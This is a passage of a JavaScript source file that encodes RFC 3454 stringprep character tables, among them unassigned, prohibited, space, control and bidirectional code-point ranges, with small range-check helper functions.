0x09e4,\r\n 0x09e5,\r\n 0x09fb,\r\n 0x0a01,\r\n 0x0a03,\r\n 0x0a04,\r\n 0x0a0b,\r\n 0x0a0e,\r\n 0x0a11,\r\n 0x0a12,\r\n 0x0a29,\r\n 0x0a29,\r\n 0x0a31,\r\n 0x0a31,\r\n 0x0a34,\r\n 0x0a34,\r\n 0x0a37,\r\n 0x0a37,\r\n 0x0a3a,\r\n 0x0a3b,\r\n 0x0a3d,\r\n 0x0a3d,\r\n 0x0a43,\r\n 0x0a46,\r\n 0x0a49,\r\n 0x0a4a,\r\n 0x0a4e,\r\n 0x0a58,\r\n 0x0a5d,\r\n 0x0a5d,\r\n 0x0a5f,\r\n 0x0a65,\r\n 0x0a75,\r\n 0x0a80,\r\n 0x0a84,\r\n 0x0a84,\r\n 0x0a8c,\r\n 0x0a8c,\r\n 0x0a8e,\r\n 0x0a8e,\r\n 0x0a92,\r\n 0x0a92,\r\n 0x0aa9,\r\n 0x0aa9,\r\n 0x0ab1,\r\n 0x0ab1,\r\n 0x0ab4,\r\n 0x0ab4,\r\n 0x0aba,\r\n 0x0abb,\r\n 0x0ac6,\r\n 0x0ac6,\r\n 0x0aca,\r\n 0x0aca,\r\n 0x0ace,\r\n 0x0acf,\r\n 0x0ad1,\r\n 0x0adf,\r\n 0x0ae1,\r\n 0x0ae5,\r\n 0x0af0,\r\n 0x0b00,\r\n 0x0b04,\r\n 0x0b04,\r\n 0x0b0d,\r\n 0x0b0e,\r\n 0x0b11,\r\n 0x0b12,\r\n 0x0b29,\r\n 0x0b29,\r\n 0x0b31,\r\n 0x0b31,\r\n 0x0b34,\r\n 0x0b35,\r\n 0x0b3a,\r\n 0x0b3b,\r\n 0x0b44,\r\n 0x0b46,\r\n 0x0b49,\r\n 0x0b4a,\r\n 0x0b4e,\r\n 0x0b55,\r\n 0x0b58,\r\n 0x0b5b,\r\n 0x0b5e,\r\n 0x0b5e,\r\n 0x0b62,\r\n 0x0b65,\r\n 0x0b71,\r\n 0x0b81,\r\n 0x0b84,\r\n 0x0b84,\r\n 0x0b8b,\r\n 0x0b8d,\r\n 0x0b91,\r\n 0x0b91,\r\n 0x0b96,\r\n 0x0b98,\r\n 0x0b9b,\r\n 0x0b9b,\r\n 0x0b9d,\r\n 0x0b9d,\r\n 0x0ba0,\r\n 0x0ba2,\r\n 0x0ba5,\r\n 0x0ba7,\r\n 0x0bab,\r\n 0x0bad,\r\n 0x0bb6,\r\n 0x0bb6,\r\n 0x0bba,\r\n 0x0bbd,\r\n 0x0bc3,\r\n 0x0bc5,\r\n 0x0bc9,\r\n 0x0bc9,\r\n 0x0bce,\r\n 0x0bd6,\r\n 0x0bd8,\r\n 0x0be6,\r\n 0x0bf3,\r\n 0x0c00,\r\n 0x0c04,\r\n 0x0c04,\r\n 0x0c0d,\r\n 0x0c0d,\r\n 0x0c11,\r\n 0x0c11,\r\n 0x0c29,\r\n 0x0c29,\r\n 0x0c34,\r\n 0x0c34,\r\n 0x0c3a,\r\n 0x0c3d,\r\n 0x0c45,\r\n 0x0c45,\r\n 0x0c49,\r\n 0x0c49,\r\n 0x0c4e,\r\n 0x0c54,\r\n 0x0c57,\r\n 0x0c5f,\r\n 0x0c62,\r\n 0x0c65,\r\n 0x0c70,\r\n 0x0c81,\r\n 0x0c84,\r\n 0x0c84,\r\n 0x0c8d,\r\n 0x0c8d,\r\n 0x0c91,\r\n 0x0c91,\r\n 0x0ca9,\r\n 0x0ca9,\r\n 0x0cb4,\r\n 0x0cb4,\r\n 0x0cba,\r\n 0x0cbd,\r\n 0x0cc5,\r\n 0x0cc5,\r\n 0x0cc9,\r\n 0x0cc9,\r\n 0x0cce,\r\n 0x0cd4,\r\n 0x0cd7,\r\n 0x0cdd,\r\n 0x0cdf,\r\n 0x0cdf,\r\n 0x0ce2,\r\n 0x0ce5,\r\n 0x0cf0,\r\n 0x0d01,\r\n 0x0d04,\r\n 0x0d04,\r\n 0x0d0d,\r\n 0x0d0d,\r\n 0x0d11,\r\n 0x0d11,\r\n 0x0d29,\r\n 0x0d29,\r\n 0x0d3a,\r\n 0x0d3d,\r\n 0x0d44,\r\n 0x0d45,\r\n 0x0d49,\r\n 0x0d49,\r\n 0x0d4e,\r\n 0x0d56,\r\n 0x0d58,\r\n 0x0d5f,\r\n 0x0d62,\r\n 0x0d65,\r\n 0x0d70,\r\n 0x0d81,\r\n 0x0d84,\r\n 0x0d84,\r\n 0x0d97,\r\n 0x0d99,\r\n 0x0db2,\r\n 0x0db2,\r\n 0x0dbc,\r\n 0x0dbc,\r\n 0x0dbe,\r\n 0x0dbf,\r\n 0x0dc7,\r\n 0x0dc9,\r\n 0x0dcb,\r\n 0x0dce,\r\n 0x0dd5,\r\n 0x0dd5,\r\n 0x0dd7,\r\n 0x0dd7,\r\n 0x0de0,\r\n 0x0df1,\r\n 0x0df5,\r\n 0x0e00,\r\n 0x0e3b,\r\n 0x0e3e,\r\n 0x0e5c,\r\n 0x0e80,\r\n 0x0e83,\r\n 0x0e83,\r\n 0x0e85,\r\n 0x0e86,\r\n 0x0e89,\r\n 0x0e89,\r\n 0x0e8b,\r\n 0x0e8c,\r\n 0x0e8e,\r\n 0x0e93,\r\n 0x0e98,\r\n 0x0e98,\r\n 0x0ea0,\r\n 0x0ea0,\r\n 0x0ea4,\r\n 0x0ea4,\r\n 0x0ea6,\r\n 0x0ea6,\r\n 0x0ea8,\r\n 0x0ea9,\r\n 0x0eac,\r\n 0x0eac,\r\n 0x0eba,\r\n 0x0eba,\r\n 0x0ebe,\r\n 0x0ebf,\r\n 0x0ec5,\r\n 0x0ec5,\r\n 0x0ec7,\r\n 0x0ec7,\r\n 0x0ece,\r\n 0x0ecf,\r\n 0x0eda,\r\n 0x0edb,\r\n 0x0ede,\r\n 0x0eff,\r\n 0x0f48,\r\n 0x0f48,\r\n 0x0f6b,\r\n 0x0f70,\r\n 0x0f8c,\r\n 0x0f8f,\r\n 0x0f98,\r\n 0x0f98,\r\n 0x0fbd,\r\n 0x0fbd,\r\n 0x0fcd,\r\n 0x0fce,\r\n 0x0fd0,\r\n 0x0fff,\r\n 0x1022,\r\n 0x1022,\r\n 0x1028,\r\n 0x1028,\r\n 0x102b,\r\n 0x102b,\r\n 0x1033,\r\n 0x1035,\r\n 0x103a,\r\n 0x103f,\r\n 0x105a,\r\n 0x109f,\r\n 0x10c6,\r\n 0x10cf,\r\n 0x10f9,\r\n 0x10fa,\r\n 0x10fc,\r\n 0x10ff,\r\n 0x115a,\r\n 0x115e,\r\n 0x11a3,\r\n 0x11a7,\r\n 0x11fa,\r\n 0x11ff,\r\n 0x1207,\r\n 0x1207,\r\n 0x1247,\r\n 0x1247,\r\n 0x1249,\r\n 0x1249,\r\n 0x124e,\r\n 0x124f,\r\n 0x1257,\r\n 0x1257,\r\n 0x1259,\r\n 0x1259,\r\n 0x125e,\r\n 0x125f,\r\n 0x1287,\r\n 0x1287,\r\n 0x1289,\r\n 0x1289,\r\n 0x128e,\r\n 0x128f,\r\n 0x12af,\r\n 0x12af,\r\n 0x12b1,\r\n 0x12b1,\r\n 0x12b6,\r\n 0x12b7,\r\n 0x12bf,\r\n 0x12bf,\r\n 0x12c1,\r\n 0x12c1,\r\n 0x12c6,\r\n 0x12c7,\r\n 0x12cf,\r\n 0x12cf,\r\n 0x12d7,\r\n 0x12d7,\r\n 0x12ef,\r\n 0x12ef,\r\n 0x130f,\r\n 0x130f,\r\n 0x1311,\r\n 0x1311,\r\n 0x1316,\r\n 0x1317,\r\n 0x131f,\r\n 0x131f,\r\n 0x1347,\r\n 0x1347,\r\n 0x135b,\r\n 0x1360,\r\n 0x137d,\r\n 0x139f,\r\n 0x13f5,\r\n 0x1400,\r\n 0x1677,\r\n 0x167f,\r\n 0x169d,\r\n 0x169f,\r\n 0x16f1,\r\n 0x16ff,\r\n 0x170d,\r\n 0x170d,\r\n 0x1715,\r\n 0x171f,\r\n 0x1737,\r\n 0x173f,\r\n 0x1754,\r\n 0x175f,\r\n 0x176d,\r\n 0x176d,\r\n 0x1771,\r\n 0x1771,\r\n 0x1774,\r\n 0x177f,\r\n 0x17dd,\r\n 0x17df,\r\n 0x17ea,\r\n 0x17ff,\r\n 0x180f,\r\n 0x180f,\r\n 0x181a,\r\n 0x181f,\r\n 0x1878,\r\n 0x187f,\r\n 0x18aa,\r\n 0x1dff,\r\n 0x1e9c,\r\n 0x1e9f,\r\n 0x1efa,\r\n 0x1eff,\r\n 0x1f16,\r\n 0x1f17,\r\n 0x1f1e,\r\n 0x1f1f,\r\n 0x1f46,\r\n 0x1f47,\r\n 0x1f4e,\r\n 0x1f4f,\r\n 0x1f58,\r\n 0x1f58,\r\n 0x1f5a,\r\n 0x1f5a,\r\n 0x1f5c,\r\n 0x1f5c,\r\n 0x1f5e,\r\n 0x1f5e,\r\n 0x1f7e,\r\n 0x1f7f,\r\n 0x1fb5,\r\n 0x1fb5,\r\n 0x1fc5,\r\n 0x1fc5,\r\n 0x1fd4,\r\n 0x1fd5,\r\n 0x1fdc,\r\n 0x1fdc,\r\n 0x1ff0,\r\n 0x1ff1,\r\n 0x1ff5,\r\n 0x1ff5,\r\n 0x1fff,\r\n 0x1fff,\r\n 0x2053,\r\n 0x2056,\r\n 0x2058,\r\n 0x205e,\r\n 0x2064,\r\n 0x2069,\r\n 0x2072,\r\n 0x2073,\r\n 0x208f,\r\n 0x209f,\r\n 0x20b2,\r\n 0x20cf,\r\n 0x20eb,\r\n 0x20ff,\r\n 0x213b,\r\n 0x213c,\r\n 0x214c,\r\n 0x2152,\r\n 0x2184,\r\n 0x218f,\r\n 0x23cf,\r\n 0x23ff,\r\n 0x2427,\r\n 0x243f,\r\n 0x244b,\r\n 0x245f,\r\n 0x24ff,\r\n 0x24ff,\r\n 0x2614,\r\n 0x2615,\r\n 0x2618,\r\n 0x2618,\r\n 0x267e,\r\n 0x267f,\r\n 0x268a,\r\n 0x2700,\r\n 0x2705,\r\n 0x2705,\r\n 0x270a,\r\n 0x270b,\r\n 0x2728,\r\n 0x2728,\r\n 0x274c,\r\n 0x274c,\r\n 0x274e,\r\n 0x274e,\r\n 0x2753,\r\n 0x2755,\r\n 0x2757,\r\n 0x2757,\r\n 0x275f,\r\n 0x2760,\r\n 0x2795,\r\n 0x2797,\r\n 0x27b0,\r\n 0x27b0,\r\n 0x27bf,\r\n 0x27cf,\r\n 0x27ec,\r\n 0x27ef,\r\n 0x2b00,\r\n 0x2e7f,\r\n 0x2e9a,\r\n 0x2e9a,\r\n 0x2ef4,\r\n 0x2eff,\r\n 0x2fd6,\r\n 0x2fef,\r\n 0x2ffc,\r\n 0x2fff,\r\n 0x3040,\r\n 0x3040,\r\n 0x3097,\r\n 0x3098,\r\n 0x3100,\r\n 0x3104,\r\n 0x312d,\r\n 0x3130,\r\n 0x318f,\r\n 0x318f,\r\n 0x31b8,\r\n 0x31ef,\r\n 0x321d,\r\n 0x321f,\r\n 0x3244,\r\n 0x3250,\r\n 0x327c,\r\n 0x327e,\r\n 0x32cc,\r\n 0x32cf,\r\n 0x32ff,\r\n 0x32ff,\r\n 0x3377,\r\n 0x337a,\r\n 0x33de,\r\n 0x33df,\r\n 0x33ff,\r\n 0x33ff,\r\n 0x4db6,\r\n 0x4dff,\r\n 0x9fa6,\r\n 0x9fff,\r\n 0xa48d,\r\n 0xa48f,\r\n 0xa4c7,\r\n 0xabff,\r\n 0xd7a4,\r\n 0xd7ff,\r\n 0xfa2e,\r\n 0xfa2f,\r\n 0xfa6b,\r\n 0xfaff,\r\n 0xfb07,\r\n 0xfb12,\r\n 0xfb18,\r\n 0xfb1c,\r\n 0xfb37,\r\n 0xfb37,\r\n 0xfb3d,\r\n 0xfb3d,\r\n 0xfb3f,\r\n 0xfb3f,\r\n 0xfb42,\r\n 0xfb42,\r\n 0xfb45,\r\n 0xfb45,\r\n 0xfbb2,\r\n 0xfbd2,\r\n 0xfd40,\r\n 0xfd4f,\r\n 0xfd90,\r\n 0xfd91,\r\n 0xfdc8,\r\n 0xfdcf,\r\n 0xfdfd,\r\n 0xfdff,\r\n 0xfe10,\r\n 0xfe1f,\r\n 0xfe24,\r\n 0xfe2f,\r\n 0xfe47,\r\n 0xfe48,\r\n 0xfe53,\r\n 0xfe53,\r\n 0xfe67,\r\n 0xfe67,\r\n 0xfe6c,\r\n 0xfe6f,\r\n 0xfe75,\r\n 0xfe75,\r\n 0xfefd,\r\n 0xfefe,\r\n 0xff00,\r\n 0xff00,\r\n 0xffbf,\r\n 0xffc1,\r\n 0xffc8,\r\n 0xffc9,\r\n 0xffd0,\r\n 0xffd1,\r\n 0xffd8,\r\n 0xffd9,\r\n 0xffdd,\r\n 0xffdf,\r\n 0xffe7,\r\n 0xffe7,\r\n 0xffef,\r\n 0xfff8,\r\n 0x10000,\r\n 0x102ff,\r\n 0x1031f,\r\n 0x1031f,\r\n 0x10324,\r\n 0x1032f,\r\n 0x1034b,\r\n 0x103ff,\r\n 0x10426,\r\n 0x10427,\r\n 0x1044e,\r\n 0x1cfff,\r\n 0x1d0f6,\r\n 0x1d0ff,\r\n 0x1d127,\r\n 0x1d129,\r\n 0x1d1de,\r\n 0x1d3ff,\r\n 0x1d455,\r\n 0x1d455,\r\n 0x1d49d,\r\n 0x1d49d,\r\n 0x1d4a0,\r\n 0x1d4a1,\r\n 0x1d4a3,\r\n 0x1d4a4,\r\n 0x1d4a7,\r\n 0x1d4a8,\r\n 0x1d4ad,\r\n 0x1d4ad,\r\n 0x1d4ba,\r\n 0x1d4ba,\r\n 0x1d4bc,\r\n 0x1d4bc,\r\n 0x1d4c1,\r\n 0x1d4c1,\r\n 0x1d4c4,\r\n 0x1d4c4,\r\n 0x1d506,\r\n 0x1d506,\r\n 0x1d50b,\r\n 0x1d50c,\r\n 0x1d515,\r\n 0x1d515,\r\n 0x1d51d,\r\n 0x1d51d,\r\n 0x1d53a,\r\n 0x1d53a,\r\n 0x1d53f,\r\n 0x1d53f,\r\n 0x1d545,\r\n 0x1d545,\r\n 0x1d547,\r\n 0x1d549,\r\n 0x1d551,\r\n 0x1d551,\r\n 0x1d6a4,\r\n 0x1d6a7,\r\n 0x1d7ca,\r\n 0x1d7cd,\r\n 0x1d800,\r\n 0x1fffd,\r\n 0x2a6d7,\r\n 0x2f7ff,\r\n 0x2fa1e,\r\n 0x2fffd,\r\n 0x30000,\r\n 0x3fffd,\r\n 0x40000,\r\n 0x4fffd,\r\n 0x50000,\r\n 0x5fffd,\r\n 0x60000,\r\n 0x6fffd,\r\n 0x70000,\r\n 0x7fffd,\r\n 0x80000,\r\n 0x8fffd,\r\n 0x90000,\r\n 0x9fffd,\r\n 0xa0000,\r\n 0xafffd,\r\n 0xb0000,\r\n 0xbfffd,\r\n 0xc0000,\r\n 0xcfffd,\r\n 0xd0000,\r\n 0xdfffd,\r\n 0xe0000,\r\n 0xe0000,\r\n 0xe0002,\r\n 0xe001f,\r\n 0xe0080,\r\n 0xefffd\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isUnassignedCodePoint = character =>\r\n inRange(character, unassigned_code_points);\r\n\r\n// prettier-ignore-start\r\n/**\r\n * B.1 Commonly mapped to nothing\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-B.1\r\n */\r\nconst commonly_mapped_to_nothing = [\r\n 0x00ad,\r\n 0x00ad,\r\n 0x034f,\r\n 0x034f,\r\n 0x1806,\r\n 0x1806,\r\n 0x180b,\r\n 0x180b,\r\n 0x180c,\r\n 0x180c,\r\n 0x180d,\r\n 0x180d,\r\n 0x200b,\r\n 0x200b,\r\n 0x200c,\r\n 0x200c,\r\n 0x200d,\r\n 0x200d,\r\n 0x2060,\r\n 0x2060,\r\n 0xfe00,\r\n 0xfe00,\r\n 0xfe01,\r\n 0xfe01,\r\n 0xfe02,\r\n 0xfe02,\r\n 0xfe03,\r\n 0xfe03,\r\n 0xfe04,\r\n 0xfe04,\r\n 0xfe05,\r\n 0xfe05,\r\n 0xfe06,\r\n 0xfe06,\r\n 0xfe07,\r\n 0xfe07,\r\n 0xfe08,\r\n 0xfe08,\r\n 0xfe09,\r\n 0xfe09,\r\n 0xfe0a,\r\n 0xfe0a,\r\n 0xfe0b,\r\n 0xfe0b,\r\n 0xfe0c,\r\n 0xfe0c,\r\n 0xfe0d,\r\n 0xfe0d,\r\n 0xfe0e,\r\n 0xfe0e,\r\n 0xfe0f,\r\n 0xfe0f,\r\n 0xfeff,\r\n 0xfeff\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isCommonlyMappedToNothing = character =>\r\n inRange(character, commonly_mapped_to_nothing);\r\n\r\n// prettier-ignore-start\r\n/**\r\n * C.1.2 Non-ASCII space characters\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.1.2\r\n */\r\nconst non_ASCII_space_characters = [\r\n 0x00a0,\r\n 0x00a0 /* NO-BREAK SPACE */,\r\n 0x1680,\r\n 0x1680 /* OGHAM SPACE MARK */,\r\n 0x2000,\r\n 0x2000 /* EN QUAD */,\r\n 0x2001,\r\n 0x2001 /* EM QUAD */,\r\n 0x2002,\r\n 0x2002 /* EN SPACE */,\r\n 0x2003,\r\n 0x2003 /* EM SPACE */,\r\n 0x2004,\r\n 0x2004 /* THREE-PER-EM SPACE */,\r\n 0x2005,\r\n 0x2005 /* FOUR-PER-EM SPACE */,\r\n 0x2006,\r\n 0x2006 /* SIX-PER-EM SPACE */,\r\n 0x2007,\r\n 0x2007 /* FIGURE SPACE */,\r\n 0x2008,\r\n 0x2008 /* PUNCTUATION SPACE */,\r\n 0x2009,\r\n 0x2009 /* THIN SPACE */,\r\n 0x200a,\r\n 0x200a /* HAIR SPACE */,\r\n 0x200b,\r\n 0x200b /* ZERO WIDTH SPACE */,\r\n 0x202f,\r\n 0x202f /* NARROW NO-BREAK SPACE */,\r\n 0x205f,\r\n 0x205f /* MEDIUM MATHEMATICAL SPACE */,\r\n 0x3000,\r\n 0x3000 /* IDEOGRAPHIC SPACE */\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isNonASCIISpaceCharacter = character =>\r\n inRange(character, non_ASCII_space_characters);\r\n\r\n// prettier-ignore-start\r\nconst non_ASCII_controls_characters = [\r\n /**\r\n * C.2.2 Non-ASCII control characters\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.2.2\r\n */\r\n 0x0080,\r\n 0x009f /* [CONTROL CHARACTERS] */,\r\n 0x06dd,\r\n 0x06dd /* ARABIC END OF AYAH */,\r\n 0x070f,\r\n 0x070f /* SYRIAC ABBREVIATION MARK */,\r\n 0x180e,\r\n 0x180e /* MONGOLIAN VOWEL SEPARATOR */,\r\n 0x200c,\r\n 0x200c /* ZERO WIDTH NON-JOINER */,\r\n 0x200d,\r\n 0x200d /* ZERO WIDTH JOINER */,\r\n 0x2028,\r\n 0x2028 /* LINE SEPARATOR */,\r\n 0x2029,\r\n 0x2029 /* PARAGRAPH SEPARATOR */,\r\n 0x2060,\r\n 0x2060 /* WORD JOINER */,\r\n 0x2061,\r\n 0x2061 /* FUNCTION APPLICATION */,\r\n 0x2062,\r\n 0x2062 /* INVISIBLE TIMES */,\r\n 0x2063,\r\n 0x2063 /* INVISIBLE SEPARATOR */,\r\n 0x206a,\r\n 0x206f /* [CONTROL CHARACTERS] */,\r\n 0xfeff,\r\n 0xfeff /* ZERO WIDTH NO-BREAK SPACE */,\r\n 0xfff9,\r\n 0xfffc /* [CONTROL CHARACTERS] */,\r\n 0x1d173,\r\n 0x1d17a /* [MUSICAL CONTROL CHARACTERS] */\r\n];\r\n\r\nconst non_character_codepoints = [\r\n /**\r\n * C.4 Non-character code points\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.4\r\n */\r\n 0xfdd0,\r\n 0xfdef /* [NONCHARACTER CODE POINTS] */,\r\n 0xfffe,\r\n 0xffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x1fffe,\r\n 0x1ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x2fffe,\r\n 0x2ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x3fffe,\r\n 0x3ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x4fffe,\r\n 0x4ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x5fffe,\r\n 0x5ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x6fffe,\r\n 0x6ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x7fffe,\r\n 0x7ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x8fffe,\r\n 0x8ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x9fffe,\r\n 0x9ffff /* [NONCHARACTER CODE POINTS] */,\r\n 0xafffe,\r\n 0xaffff /* [NONCHARACTER CODE POINTS] */,\r\n 0xbfffe,\r\n 0xbffff /* [NONCHARACTER CODE POINTS] */,\r\n 0xcfffe,\r\n 0xcffff /* [NONCHARACTER CODE POINTS] */,\r\n 0xdfffe,\r\n 0xdffff /* [NONCHARACTER CODE POINTS] */,\r\n 0xefffe,\r\n 0xeffff /* [NONCHARACTER CODE POINTS] */,\r\n 0x10fffe,\r\n 0x10ffff /* [NONCHARACTER CODE POINTS] */\r\n];\r\n\r\n/**\r\n * 2.3. Prohibited Output\r\n */\r\nconst prohibited_characters = [\r\n /**\r\n * C.2.1 ASCII control characters\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.2.1\r\n */\r\n 0,\r\n 0x001f /* [CONTROL CHARACTERS] */,\r\n 0x007f,\r\n 0x007f /* DELETE */,\r\n\r\n /**\r\n * C.8 Change display properties or are deprecated\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.8\r\n */\r\n 0x0340,\r\n 0x0340 /* COMBINING GRAVE TONE MARK */,\r\n 0x0341,\r\n 0x0341 /* COMBINING ACUTE TONE MARK */,\r\n 0x200e,\r\n 0x200e /* LEFT-TO-RIGHT MARK */,\r\n 0x200f,\r\n 0x200f /* RIGHT-TO-LEFT MARK */,\r\n 0x202a,\r\n 0x202a /* LEFT-TO-RIGHT EMBEDDING */,\r\n 0x202b,\r\n 0x202b /* RIGHT-TO-LEFT EMBEDDING */,\r\n 0x202c,\r\n 0x202c /* POP DIRECTIONAL FORMATTING */,\r\n 0x202d,\r\n 0x202d /* LEFT-TO-RIGHT OVERRIDE */,\r\n 0x202e,\r\n 0x202e /* RIGHT-TO-LEFT OVERRIDE */,\r\n 0x206a,\r\n 0x206a /* INHIBIT SYMMETRIC SWAPPING */,\r\n 0x206b,\r\n 0x206b /* ACTIVATE SYMMETRIC SWAPPING */,\r\n 0x206c,\r\n 0x206c /* INHIBIT ARABIC FORM SHAPING */,\r\n 0x206d,\r\n 0x206d /* ACTIVATE ARABIC FORM SHAPING */,\r\n 0x206e,\r\n 0x206e /* NATIONAL DIGIT SHAPES */,\r\n 0x206f,\r\n 0x206f /* NOMINAL DIGIT SHAPES */,\r\n\r\n /**\r\n * C.7 Inappropriate for canonical representation\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.7\r\n */\r\n 0x2ff0,\r\n 0x2ffb /* [IDEOGRAPHIC DESCRIPTION CHARACTERS] */,\r\n\r\n /**\r\n * C.5 Surrogate codes\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.5\r\n */\r\n 0xd800,\r\n 0xdfff,\r\n\r\n /**\r\n * C.3 Private use\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.3\r\n */\r\n 0xe000,\r\n 0xf8ff /* [PRIVATE USE, PLANE 0] */,\r\n\r\n /**\r\n * C.6 Inappropriate for plain text\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.6\r\n */\r\n 0xfff9,\r\n 0xfff9 /* INTERLINEAR ANNOTATION ANCHOR */,\r\n 0xfffa,\r\n 0xfffa /* INTERLINEAR ANNOTATION SEPARATOR */,\r\n 0xfffb,\r\n 0xfffb /* INTERLINEAR ANNOTATION TERMINATOR */,\r\n 0xfffc,\r\n 0xfffc /* OBJECT REPLACEMENT CHARACTER */,\r\n 0xfffd,\r\n 0xfffd /* REPLACEMENT CHARACTER */,\r\n\r\n /**\r\n * C.9 Tagging characters\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.9\r\n */\r\n 0xe0001,\r\n 0xe0001 /* LANGUAGE TAG */,\r\n 0xe0020,\r\n 0xe007f /* [TAGGING CHARACTERS] */,\r\n\r\n /**\r\n * C.3 Private use\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-C.3\r\n */\r\n\r\n 0xf0000,\r\n 0xffffd /* [PRIVATE USE, PLANE 15] */,\r\n 0x100000,\r\n 0x10fffd /* [PRIVATE USE, PLANE 16] */\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isProhibitedCharacter = character =>\r\n inRange(character, non_ASCII_space_characters) ||\r\n inRange(character, prohibited_characters) ||\r\n inRange(character, non_ASCII_controls_characters) ||\r\n inRange(character, non_character_codepoints);\r\n\r\n// prettier-ignore-start\r\n/**\r\n * D.1 Characters with bidirectional property \"R\" or \"AL\"\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-D.1\r\n */\r\nconst bidirectional_r_al = [\r\n 0x05be,\r\n 0x05be,\r\n 0x05c0,\r\n 0x05c0,\r\n 0x05c3,\r\n 0x05c3,\r\n 0x05d0,\r\n 0x05ea,\r\n 0x05f0,\r\n 0x05f4,\r\n 0x061b,\r\n 0x061b,\r\n 0x061f,\r\n 0x061f,\r\n 0x0621,\r\n 0x063a,\r\n 0x0640,\r\n 0x064a,\r\n 0x066d,\r\n 0x066f,\r\n 0x0671,\r\n 0x06d5,\r\n 0x06dd,\r\n 0x06dd,\r\n 0x06e5,\r\n 0x06e6,\r\n 0x06fa,\r\n 0x06fe,\r\n 0x0700,\r\n 0x070d,\r\n 0x0710,\r\n 0x0710,\r\n 0x0712,\r\n 0x072c,\r\n 0x0780,\r\n 0x07a5,\r\n 0x07b1,\r\n 0x07b1,\r\n 0x200f,\r\n 0x200f,\r\n 0xfb1d,\r\n 0xfb1d,\r\n 0xfb1f,\r\n 0xfb28,\r\n 0xfb2a,\r\n 0xfb36,\r\n 0xfb38,\r\n 0xfb3c,\r\n 0xfb3e,\r\n 0xfb3e,\r\n 0xfb40,\r\n 0xfb41,\r\n 0xfb43,\r\n 0xfb44,\r\n 0xfb46,\r\n 0xfbb1,\r\n 0xfbd3,\r\n 0xfd3d,\r\n 0xfd50,\r\n 0xfd8f,\r\n 0xfd92,\r\n 0xfdc7,\r\n 0xfdf0,\r\n 0xfdfc,\r\n 0xfe70,\r\n 0xfe74,\r\n 0xfe76,\r\n 0xfefc\r\n];\r\n// prettier-ignore-end\r\n\r\nconst isBidirectionalRAL = character => inRange(character, bidirectional_r_al);\r\n\r\n// prettier-ignore-start\r\n/**\r\n * D.2 Characters with bidirectional property \"L\"\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-D.2\r\n */\r\nconst bidirectional_l = [\r\n 0x0041,\r\n 0x005a,\r\n 0x0061,\r\n 0x007a,\r\n 0x00aa,\r\n 0x00aa,\r\n 0x00b5,\r\n 0x00b5,\r\n 0x00ba,\r\n 0x00ba,\r\n 0x00c0,\r\n 0x00d6,\r\n 0x00d8,\r\n 0x00f6,\r\n 0x00f8,\r\n 0x0220,\r\n 0x0222,\r\n 0x0233,\r\n 0x0250,\r\n 0x02ad,\r\n 0x02b0,\r\n 0x02b8,\r\n 0x02bb,\r\n 0x02c1,\r\n 0x02d0,\r\n 0x02d1,\r\n 0x02e0,\r\n 0x02e4,\r\n 0x02ee,\r\n 0x02ee,\r\n 0x037a,\r\n 0x037a,\r\n 0x0386,\r\n 0x0386,\r\n 0x0388,\r\n 0x038a,\r\n 0x038c,\r\n 0x038c,\r\n 0x038e,\r\n 0x03a1,\r\n 0x03a3,\r\n 0x03ce,\r\n 0x03d0,\r\n 0x03f5,\r\n 0x0400,\r\n 0x0482,\r\n 0x048a,\r\n 0x04ce,\r\n 0x04d0,\r\n 0x04f5,\r\n 0x04f8,\r\n 0x04f9,\r\n 0x0500,\r\n 0x050f,\r\n 0x0531,\r\n 0x0556,\r\n 0x0559,\r\n 0x055f,\r\n 0x0561,\r\n 0x0587,\r\n 0x0589,\r\n 0x0589,\r\n 0x0903,\r\n 0x0903,\r\n 0x0905,\r\n 0x0939,\r\n 0x093d,\r\n 0x0940,\r\n 0x0949,\r\n 0x094c,\r\n 0x0950,\r\n 0x0950,\r\n 0x0958,\r\n 0x0961,\r\n 0x0964,\r\n 0x0970,\r\n 0x0982,\r\n 0x0983,\r\n 0x0985,\r\n 0x098c,\r\n 0x098f,\r\n 0x0990,\r\n 0x0993,\r\n 0x09a8,\r\n 0x09aa,\r\n 0x09b0,\r\n 0x09b2,\r\n 0x09b2,\r\n 0x09b6,\r\n 0x09b9,\r\n 0x09be,\r\n 0x09c0,\r\n 0x09c7,\r\n 0x09c8,\r\n 0x09cb,\r\n 0x09cc,\r\n 0x09d7,\r\n 0x09d7,\r\n 0x09dc,\r\n 0x09dd,\r\n 0x09df,\r\n 0x09e1,\r\n 0x09e6,\r\n 0x09f1,\r\n 0x09f4,\r\n 0x09fa,\r\n 0x0a05,\r\n 0x0a0a,\r\n 0x0a0f,\r\n 0x0a10,\r\n 0x0a13,\r\n 0x0a28,\r\n 0x0a2a,\r\n 0x0a30,\r\n 0x0a32,\r\n 0x0a33,\r\n 0x0a35,\r\n 0x0a36,\r\n 0x0a38,\r\n 0x0a39,\r\n 0x0a3e,\r\n 0x0a40,\r\n 0x0a59,\r\n 0x0a5c,\r\n 0x0a5e,\r\n 0x0a5e,\r\n 0x0a66,\r\n 0x0a6f,\r\n 0x0a72,\r\n 0x0a74,\r\n 0x0a83,\r\n 0x0a83,\r\n 0x0a85,\r\n 0x0a8b,\r\n 